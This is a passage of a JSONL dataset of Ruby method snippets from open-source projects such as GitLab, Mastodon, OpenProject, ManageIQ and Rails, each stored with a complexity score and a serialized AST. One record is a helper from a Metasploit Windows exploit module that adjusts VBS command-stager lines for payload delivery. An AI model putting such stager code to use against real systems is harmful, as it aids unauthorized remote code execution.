en\":[{\"type\":\"lvar\",\"children\":[\"array_mapping_scope_columns\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"apply_cursor_conditions\",{\"type\":\"lvar\",\"children\":[\"keyset_scope\"]},{\"type\":\"lvar\",\"children\":[\"cursor_values\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"use_union_optimization\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"reselect\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order_by_columns\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"column_for_projection\"]}]}]}]}]},\"limit\",{\"type\":\"int\",\"children\":[1]}]}]}]}","id":"c7df1cfe-703f-4d4e-bb0f-75426e2f92d8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/config/external/context.rb","start_line":136,"raw_source":"def internal_include?\n            !!pipeline_config&.internal_include_prepended?\n          end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"internal_include?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline_config\"]},\"internal_include_prepended?\"]},\"!\"]},\"!\"]}]}","id":"de958c98-31a6-46b4-b458-2385c20506fb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/rubocop/formatter/todo_formatter_spec.rb","start_line":381,"raw_source":"def rubocop_todo_dir_listing\n    Dir.glob(\"#{rubocop_todo_dir}/**/*\")\n      .select { |path| File.file?(path) }\n      .map { |path| path.delete_prefix(\"#{rubocop_todo_dir}/\") }\n  end","complexity_score":11.1,"ast_json":"{\"type\":\"def\",\"children\":[\"rubocop_todo_dir_listing\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"glob\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rubocop_todo_dir\"]}]},{\"type\":\"str\",\"children\":[\"/**/*\"]}]}]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"file?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"delete_prefix\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rubocop_todo_dir\"]}]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]}","id":"81349843-aef2-4cc8-b5e5-12e842000ade"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/push_event.rb","start_line":84,"raw_source":"def new_ref?\n    push_event_payload.created?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"new_ref?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"push_event_payload\"]},\"created?\"]}]}","id":"ae68a212-4c94-4941-8d2b-615e83718b1e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/project_presenter.rb","start_line":191,"raw_source":"def environments_anchor_data\n    return unless can?(current_user, :read_environment, project)\n\n    environments_count = project.environments.available.count\n    return if environments_count == 0\n\n    AnchorData.new(\n      true,\n      statistic_icon('environment', 'subtle') +\n      safe_format(n_('%{strong_start}%{count}%{strong_end} Environment', '%{strong_start}%{count}%{strong_end} Environments', environments_count), count: number_with_delimiter(environments_count), strong_start: '<strong class=\"project-stat-value\">'.html_safe, strong_end: '</strong>'.html_safe),\n      project_environments_path(project)\n    )\n  end","complexity_score":26.6,"ast_json":"{\"type\":\"def\",\"children\":[\"environments_anchor_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"read_environment\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"environments_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"environments\"]},\"available\"]},\"count\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"environments_count\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AnchorData\"]},\"new\",{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"statistic_icon\",{\"type\":\"str\",\"children\":[\"environment\"]},{\"type\":\"str\",\"children\":[\"subtle\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"safe_format\",{\"type\":\"send\",\"children\":[null,\"n_\",{\"type\":\"str\",\"children\":[\"%{strong_start}%{count}%{strong_end} Environment\"]},{\"type\":\"str\",\"children\":[\"%{strong_start}%{count}%{strong_end} Environments\"]},{\"type\":\"lvar\",\"children\":[\"environments_count\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"send\",\"children\":[null,\"number_with_delimiter\",{\"type\":\"lvar\",\"children\":[\"environments_count\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"strong_start\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<strong class=\\\"project-stat-value\\\">\"]},\"html_safe\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"strong_end\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"</strong>\"]},\"html_safe\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"project_environments_path\",{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}]}]}","id":"8ffd8099-371c-4c8f-9ce5-c97f0eef5700"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/home_feed.rb","start_line":4,"raw_source":"def initialize(account)\n    @account = account\n    super(:home, account.id)\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"account\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@account\",{\"type\":\"lvar\",\"children\":[\"account\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"sym\",\"children\":[\"home\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account\"]},\"id\"]}]}]}]}","id":"eb3098d5-cd06-4289-8558-13239d87e668"}
{"repo_name":"openproject","file_path":"./repos/openproject/config/initializers/suppress_routing_error_logs.rb","start_line":32,"raw_source":"def log_error(env, wrapper)\n    super unless ignore_error?(env, wrapper)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"log_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]},{\"type\":\"arg\",\"children\":[\"wrapper\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ignore_error?\",{\"type\":\"lvar\",\"children\":[\"env\"]},{\"type\":\"lvar\",\"children\":[\"wrapper\"]}]},null,{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"0bdf3f7f-f4dc-4a0d-a9ff-a86fe236f668"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/emc/alphastor_device_manager_exec.rb","start_line":89,"raw_source":"def execute_cmdstager_begin(opts)\n    if flavor =~ /vbs/ && self.decoder =~ /vbs_b64/\n      cmd_list.each do |cmd|\n        cmd.gsub!(/data = Replace\\(data, vbCrLf, \"\"\\)/, \"data = Replace(data, \\\" \\\" + vbCrLf, \\\"\\\")\")\n      end\n    end\n  end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_cmdstager_begin\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flavor\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"vbs\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"decoder\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"vbs_b64\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_list\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"data = Replace\\\\(data, vbCrLf, \\\"\\\"\\\\)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"data = Replace(data, \\\" \\\" + vbCrLf, \\\"\\\")\"]}]}]},null]}]}","id":"c1019007-c6c9-4d69-a588-9b89ed530ac7"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_widget/content_option_generator.rb","start_line":12,"raw_source":"def timezones_for_users(users)\n    users.collect { |user| user.try(:get_timezone) }.compact.uniq.sort\n  end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"timezones_for_users\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"users\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"try\",{\"type\":\"sym\",\"children\":[\"get_timezone\"]}]}]},\"compact\"]},\"uniq\"]},\"sort\"]}]}","id":"de0ca85c-0879-4182-8f92-0af701583d21"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/base_query.rb","start_line":140,"raw_source":"def find_available_filter(name)\n    available_filters.detect { |f| f.name == name }\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"find_available_filter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"available_filters\"]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"name\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}","id":"d7f4f901-765f-4911-b40e-0eea1383545c"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/lib/rbac/filterer_spec.rb","start_line":60,"raw_source":"def create_group_with_expression(expression)\n      role = FactoryBot.create(:miq_user_role)\n      group = FactoryBot.create(:miq_group, :tenant => Tenant.root_tenant, :miq_user_role => role)\n      group.entitlement = Entitlement.new\n      group.entitlement.filter_expression = expression\n      group.save!\n      group\n    end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_group_with_expression\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"expression\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"role\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FactoryBot\"]},\"create\",{\"type\":\"sym\",\"children\":[\"miq_user_role\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"group\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FactoryBot\"]},\"create\",{\"type\":\"sym\",\"children\":[\"miq_group\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tenant\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tenant\"]},\"root_tenant\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"miq_user_role\"]},{\"type\":\"lvar\",\"children\":[\"role\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"entitlement=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Entitlement\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"entitlement\"]},\"filter_expression=\",{\"type\":\"lvar\",\"children\":[\"expression\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"save!\"]},{\"type\":\"lvar\",\"children\":[\"group\"]}]}]}","id":"c66dc26c-6a88-4189-8247-85b4016b522f"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/drop_test.rb","start_line":157,"raw_source":"def test_nested_context_drop\n    output = Liquid::Template.parse(' {{ product.context.foo }} ').render!('product' => ProductDrop.new, 'foo' => \"monkey\")\n    assert_equal(' monkey ', output)\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_nested_context_drop\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"Template\"]},\"parse\",{\"type\":\"str\",\"children\":[\" {{ product.context.foo }} \"]}]},\"render!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"product\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProductDrop\"]},\"new\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"str\",\"children\":[\"monkey\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\" monkey \"]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]}","id":"2fe47054-1dc6-4021-b723-bf01658e8813"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/task_helpers/imports.rb","start_line":3,"raw_source":"def self.parse_options\n      require 'optimist'\n      options = Optimist.options(EvmRakeHelper.extract_command_options) do\n        opt :source, 'Directory or file to import from', :type => :string, :required => true\n        opt :overwrite, 'Overwrite existing object', :type => :boolean, :default => true\n        opt :connect_dialog_by_name, 'for custom buttons: in case dialog with exported name exist, connect it'\n      end\n\n      error = validate_source(options[:source])\n      Optimist.die :source, error if error\n\n      options\n    end","complexity_score":14.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"parse_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"optimist\"]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Optimist\"]},\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EvmRakeHelper\"]},\"extract_command_options\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"opt\",{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"str\",\"children\":[\"Directory or file to import from\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"string\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"required\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"opt\",{\"type\":\"sym\",\"children\":[\"overwrite\"]},{\"type\":\"str\",\"children\":[\"Overwrite existing object\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"boolean\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"opt\",{\"type\":\"sym\",\"children\":[\"connect_dialog_by_name\"]},{\"type\":\"str\",\"children\":[\"for custom buttons: in case dialog with exported name exist, connect it\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"send\",\"children\":[null,\"validate_source\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"source\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Optimist\"]},\"die\",{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"lvar\",\"children\":[\"error\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}","id":"b84ba1e4-9549-48d1-9f60-4c1ded023705"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/work_package_types/settings_tab_controller.rb","start_line":41,"raw_source":"def update\n      result = UpdateService.new(user: current_user, model: @type, contract_class: UpdateSettingsContract)\n                            .call(permitted_settings_params)\n\n      if result.success?\n        redirect_to edit_type_settings_path(type_id: @type.id), notice: I18n.t(:notice_successful_update)\n      else\n        render :edit, status: :unprocessable_entity\n      end\n    end","complexity_score":14.1,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UpdateService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"ivar\",\"children\":[\"@type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"contract_class\"]},{\"type\":\"const\",\"children\":[null,\"UpdateSettingsContract\"]}]}]}]},\"call\",{\"type\":\"send\",\"children\":[null,\"permitted_settings_params\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"success?\"]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"edit_type_settings_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@type\"]},\"id\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notice\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"notice_successful_update\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"sym\",\"children\":[\"edit\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]}]}]}","id":"a57f92e0-45fa-482d-ad5a-9314d692f6e3"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/closing_heredoc_indentation.rb","start_line":90,"raw_source":"def heredoc_closing(node)\n          node.loc.heredoc_end.source_line\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"heredoc_closing\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"heredoc_end\"]},\"source_line\"]}]}","id":"1360fc7d-2e6e-4439-b0a2-a753429014c4"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/activitypub/activity/announce.rb","start_line":61,"raw_source":"def visibility_from_audience\n    if audience_to.any? { |to| ActivityPub::TagManager.instance.public_collection?(to) }\n      :public\n    elsif audience_cc.any? { |cc| ActivityPub::TagManager.instance.public_collection?(cc) }\n      :unlisted\n    elsif audience_to.include?(@account.followers_url)\n      :private\n    else\n      :direct\n    end\n  end","complexity_score":19.0,"ast_json":"{\"type\":\"def\",\"children\":[\"visibility_from_audience\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"audience_to\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"to\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"public_collection?\",{\"type\":\"lvar\",\"children\":[\"to\"]}]}]},{\"type\":\"sym\",\"children\":[\"public\"]},{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"audience_cc\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cc\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"public_collection?\",{\"type\":\"lvar\",\"children\":[\"cc\"]}]}]},{\"type\":\"sym\",\"children\":[\"unlisted\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"audience_to\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"followers_url\"]}]},{\"type\":\"sym\",\"children\":[\"private\"]},{\"type\":\"sym\",\"children\":[\"direct\"]}]}]}]}]}","id":"ac1a7aa7-9afa-4adf-af21-feb3e0a8d270"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/users_controller.rb","start_line":2270,"raw_source":"def server_session_confirmed?\n    server_session[\"confirmed-session-#{current_user.id}\"] == \"true\"\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"server_session_confirmed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"server_session\"]},\"[]\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"confirmed-session-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]}]}]}]},\"==\",{\"type\":\"str\",\"children\":[\"true\"]}]}]}","id":"58ba5577-e4b2-4657-8f89-484e3f913be5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-housekeeper/lib/gitlab/housekeeper/runner.rb","start_line":195,"raw_source":"def get_existing_merge_request(branch_name)\n        gitlab_client.get_existing_merge_request(\n          source_project_id: housekeeper_fork_project_id,\n          source_branch: branch_name,\n          target_branch: @target_branch,\n          target_project_id: housekeeper_target_project_id\n        )\n      end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"get_existing_merge_request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"branch_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gitlab_client\"]},\"get_existing_merge_request\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_project_id\"]},{\"type\":\"send\",\"children\":[null,\"housekeeper_fork_project_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_branch\"]},{\"type\":\"lvar\",\"children\":[\"branch_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_branch\"]},{\"type\":\"ivar\",\"children\":[\"@target_branch\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_project_id\"]},{\"type\":\"send\",\"children\":[null,\"housekeeper_target_project_id\"]}]}]}]}]}","id":"79e4b38e-04fd-4967-95fc-70bb8e88c7f8"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/application/multi_db_rake_test.rb","start_line":24,"raw_source":"def test_destroy_scaffold_doesnt_remove_abstract_model\n      output = rails(\"destroy\", \"scaffold\", \"Pet\", \"--database=animals\")\n\n      assert_match %r{app/models/pet\\.rb}, output\n      assert_no_match %r{app/models/animals_record\\.rb}, output\n    end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_destroy_scaffold_doesnt_remove_abstract_model\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[null,\"rails\",{\"type\":\"str\",\"children\":[\"destroy\"]},{\"type\":\"str\",\"children\":[\"scaffold\"]},{\"type\":\"str\",\"children\":[\"Pet\"]},{\"type\":\"str\",\"children\":[\"--database=animals\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"app/models/pet\\\\.rb\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"app/models/animals_record\\\\.rb\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]}","id":"fa6d7f69-07dd-4351-a83d-1ca8920ad833"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/issuable.rb","start_line":435,"raw_source":"def with_label(title, sort = nil)\n      if title.is_a?(Array) && title.size > 1\n        joins(:labels).where(labels: { title: title }).group(*grouping_columns(sort))\n          .having(\"COUNT(DISTINCT labels.title) = #{title.size}\")\n      else\n        joins(:labels).where(labels: { title: title })\n      end\n    end","complexity_score":17.63,"ast_json":"{\"type\":\"def\",\"children\":[\"with_label\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"title\"]},{\"type\":\"optarg\",\"children\":[\"sort\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title\"]},\"size\"]},\">\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"joins\",{\"type\":\"sym\",\"children\":[\"labels\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"labels\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"lvar\",\"children\":[\"title\"]}]}]}]}]}]},\"group\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"grouping_columns\",{\"type\":\"lvar\",\"children\":[\"sort\"]}]}]}]},\"having\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"COUNT(DISTINCT labels.title) = 